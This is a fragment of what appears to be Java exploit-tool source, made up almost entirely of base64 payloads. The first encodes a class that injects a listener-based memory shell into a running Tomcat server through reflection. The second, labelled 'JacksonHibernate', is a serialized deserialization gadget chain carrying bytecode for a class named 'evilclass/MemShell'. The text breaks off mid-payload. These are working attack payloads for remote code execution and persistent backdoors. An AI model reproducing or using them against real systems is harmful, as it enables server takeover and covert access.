aHJlYWQHAFEBABFqYXZhL3V0aWwvSGFzaE1hcAcAUwEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFUKAFYAKQEACmdldFRocmVhZHMIAFgBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWgBbCgACAFwBAAdnZXROYW1lDABeAAYKAFIAXwEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAGEBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAYwBkCgAPAGUBAAZ0YXJnZXQIAGcBAAVnZXRGVgwAaQBbCgACAGoBAAZ0aGlzJDAIAGwIAEQBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAbwBwCgBUAHEBAA1qYXZhL3V0aWwvU2V0BwBzCwB0ADEBAANnZXQMAHYAPAoAVAB3AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB5AHoKAFAAewEAD2phdmEvbGFuZy9DbGFzcwcAfQoAfgBfAQAPU3RhbmRhcmRDb250ZXh0CACAAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACCAIMLACUAhAEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIgAiQoAUgCKAQAIdG9TdHJpbmcMAIwABgoAfgCNAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAjwEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAJEBAAlyZXNvdXJjZXMIAJMIAB0BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAEgCYCgCXAJkBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAmwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJ0BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCfAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCjAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAK0BAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAK8AsAoAUgCxAQAOZ2V0Q2xhc3NMb2FkZXIMALMAiQoAfgC0DAAFAAYKAAIAtgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALgAuQoArgC6AQALbmV3SW5zdGFuY2UMALwAOAoAfgC9DAAKAAYKAAIAvwEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAMEAwgoAAgDDAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMUAxgoAAgDHCACnBwCmAQARamF2YS9sYW5nL0ludGVnZXIHAMsBAARUWVBFDADNAKoJAMwAzgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA0ADRCgB+ANIBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1gDXCgDVANgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2gDbCgDMANwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAN4A3woA1QDgAQAHb2JqZWN0cwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAlsaXN0ZW5lcnMBAAlhcnJheUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAppc0luamVjdGVkAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylaDADnAOgKAAIA6QEAG2FkZEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcggA6wEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWgDtCgACAO4BABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCADwBwDjAQAQamF2YS91dGlsL0FycmF5cwcA8wEABmFzTGlzdAEAJShbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL3V0aWwvTGlzdDsMAPUA9goA9AD3AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAEgD5CgBWAPoKAFYAhAEAHHNldEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnMIAP0BAAd0b0FycmF5AQAVKClbTGphdmEvbGFuZy9PYmplY3Q7DAD/AQAKAFYBAQEAAWkBAAFJAQANZXZpbENsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHNpemUBAAMoKUkMAQcBCAoAVgEJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAB2AQsKAFYBDAEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAETAQAHZm9yTmFtZQwBFQC5CgB+ARYBAAxkZWNvZGVCdWZmZXIIARgBAAlnZXRNZXRob2QMARoA0QoAfgEbAQAQamF2YS51dGlsLkJhc2U2NAgBHQEACmdldERlY29kZXIIAR8BAAZkZWNvZGUIASEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBIwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBLgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATABAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBMgoBLwApAQAFKFtCKVYMABIBNQoBMQE2AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASATgKATMBOQEABHJlYWQBAAUoW0IpSQwBOwE8CgEzAT0BAAV3cml0ZQEAByhbQklJKVYMAT8BQAoBLwFBAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFDAUQKAS8BRQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAUsBTAoAAgFNAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAU8KAVAA2AoBUAB3AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwFTAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFWAVcKAH4BWAEADWdldFN1cGVyY2xhc3MMAVoAegoAfgFbCgFUABQBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAWEBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtM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"; 31 | 32 | // private final String JacksonHibernate = "rO0ABXNyADhjb20uZnIudGhpcmQub3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5iYWcuVHJlZUJhZ5SVecHY59tsAwAAeHBzcgAbY29tLmZyLmJhc2UuQ2xhc3NDb21wYXJhdG9yPcWODpZ5cDcCAAFMAAljbGFzc05hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIm9yZy5mcmVlaGVwLnV0aWwuVmVyc2lvbkNvbXBhcmF0b3J3BAAAAAFzcgA1Y29tLmZyLnRoaXJkLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyADZjb20uZnIudGhpcmQuZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADljb20uZnIudGhpcmQuZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4ADEwADHRoZWFsZ29yaXRobXEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAww6ztAAVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAACAAAAAnNyADBjb20uZnIudGhpcmQub3JnLmhpYmVybmF0ZS5lbmdpbmUuc3BpLlR5cGVkVmFsdWURzZRN7PjJlwIAAkwABHR5cGV0ACZMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAtY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHlwZS5Db21wb25lbnRUeXBlT4Yv3g1qsR4CAA5aABxjcmVhdGVFbXB0eUNvbXBvc2l0ZXNFbmFibGVkWgASaGFzTm90TnVsbFByb3BlcnR5WgAFaXNLZXlJAAxwcm9wZXJ0eVNwYW5MAA9jYW5Eb0V4dHJhY3Rpb250ABNMamF2YS9sYW5nL0Jvb2xlYW47WwAHY2FzY2FkZXQANVtMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvZW5naW5lL3NwaS9DYXNjYWRlU3R5bGU7TAARY29tcG9uZW50VHVwbGl6ZXJ0AD5MY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ACdMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvRW50aXR5TW9kZTtbAAtqb2luZWRGZXRjaHQAJ1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvRmV0Y2hNb2RlO1sADXByb3BlcnR5TmFtZXN0ABNbTGphdmEvbGFuZy9TdHJpbmc7WwATcHJvcGVydHlOdWxsYWJpbGl0eXQAAltaWwANcHJvcGVydHlUeXBlc3QAJ1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAM1tMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvdHVwbGUvVmFsdWVHZW5lcmF0aW9uO0wACXR5cGVTY29wZXQAN0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS90eXBlL1R5cGVGYWN0b3J5JFR5cGVTY29wZTt4cgAsY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXUhc2QoE7mAQIAAHhwAAAAAAAAAXBwc3IAQGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5Qb2pvQ29tcG9uZW50VHVwbGl6ZXLAdWoHxv5YYQIABEwADmNvbXBvbmVudENsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAlvcHRpbWl6ZXJ0AD1MY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvYnl0ZWNvZGUvc3BpL1JlZmxlY3Rpb25PcHRpbWl6ZXI7TAAMcGFyZW50R2V0dGVydAA3TGNvbS9mci90aGlyZC9vcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAN0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cgBEY29tLmZyLnRoaXJkLm9yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LkFic3RyYWN0Q29tcG9uZW50VHVwbGl6ZXJWIdJtsJC2vwIABVoAEmhhc0N1c3RvbUFjY2Vzc29yc0kADHByb3BlcnR5U3BhblsAB2dldHRlcnN0ADhbTGNvbS9mci90aGlyZC9vcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAL0xjb20vZnIvdGhpcmQvb3JnL2hpYmVybmF0ZS90dXBsZS9JbnN0YW50aWF0b3I7WwAHc2V0dGVyc3QAOFtMY29tL2ZyL3RoaXJkL29yZy9oaWJlcm5hdGUvcHJvcGVydHkvYWNjZXNzL3NwaS9TZXR0ZXI7eHAAAAAAAHVyADhbTGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyO2FB1QdK53BMAgAAeHAAAAABc3IASmNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtD3GyErnkRPICAARMAA5jb250YWluZXJDbGFzc3EAfgAUTAAOZGVjbGFyaW5nQ2xhc3NxAH4AFEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AIHhwdnIAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAgTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHBxAH4AJnQAE2dldE91dHB1dFByb3BlcnRpZXN0AAR0ZXN0cHBwcHBwcHBwcHVyACdbTGNvbS5mci50aGlyZC5vcmcuaGliZXJuYXRlLnR5cGUuVHlwZTthBF8dEsaLOgIAAHhwAAAAAXEAfgAScHBzcQB+ACIAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAACdwyv66vgAAADQB6QoAfgEGCAEHCQBaAQgLAEYBCQgBCgsBCwEMCAENCgEOAQ8HARAKAEIBEQoACQESCgEOARMHARQKAA0BBggAgAoADQEVCACCCQBaARYIAKUKARcBGAoBFwEZCAEaCgEbARwIAK8HAR0HALIJAD8BHgoAGQEfCgEgASEHASIKAB4BBgsARgEjCgEkASUKAB4BJgoBDgEnBwEoCgA/ASkKASABKgoAGQErCgAkASwHAS0KARcBLggA0goAWgEvBwDTCgEXATAIATEKAEIBMggBMwgAywcBNAgBNQgAmwgBNggAyQcBNwsAOAE4CwA4ATkIAMUKACQBOggBOwoAGQE8BwE9CgA/AT4IAT8HAUAJAFoBQQoAQgFCCQBaAUMHAUQHAUUIAUYHAUcHAO0HAUgKABkBSQoAGQFKCgBLASEKAEsBSwgBTAsARwFNCAFOCwBGAU8LAEcBTwsARwFQCgFRAVIKAVEBUwoBUQFUCwBGAVUHAVYKAFoBBgkAWgFXCQBaAVgLAVkBWggBWwcBXAcBXQgBXgkBXwFgCgBLAWELAVkBYgkBYwFkCgFlAWYLAPIBZwgBaAkBXwFpCAFqCgAZAWsIAWwIAOsIAW0KAEIBbggBbwoAWgFwBwFxCAFyCAFzCAF0CAF1CAF2CQF3AXgIAXkKAXoBewoAWgF8CgBaAX0HAX4HAX8BAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHcGF0dGVybgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABE5BTUUBAApIRUFERVJfS0VZAQAMSEVBREVSX1ZBTFVFAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABRMZXZpbGNsYXNzL01lbVNoZWxsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwGAAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsHAYEBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAFrAQAHc2Vzc2lvbgEAIExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQABYwEAFUxqYXZheC9jcnl